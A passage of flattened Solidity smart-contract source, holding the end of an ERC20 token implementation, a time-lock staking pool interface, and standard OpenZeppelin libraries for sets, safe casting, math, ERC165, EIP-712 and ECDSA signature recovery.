* Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface ITimeLockPool { struct Deposit { uint256 amount; uint64 start; uint64 end; } function deposit( uint256 _amount, uint256 _duration, address _receiver ) external; function getDepositsOf(address _account) external view returns (Deposit[] memory); function getDepositsOfLength(address _account) external view returns (uint256); function getMaxBonus() external view returns (uint256); function getMaxLockDuration() external view returns (uint256); function getMultiplier(uint256 _lockDuration) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeCast.sol) pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol) pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; address private immutable _CACHED_THIS; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _CACHED_THIS = address(this); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed 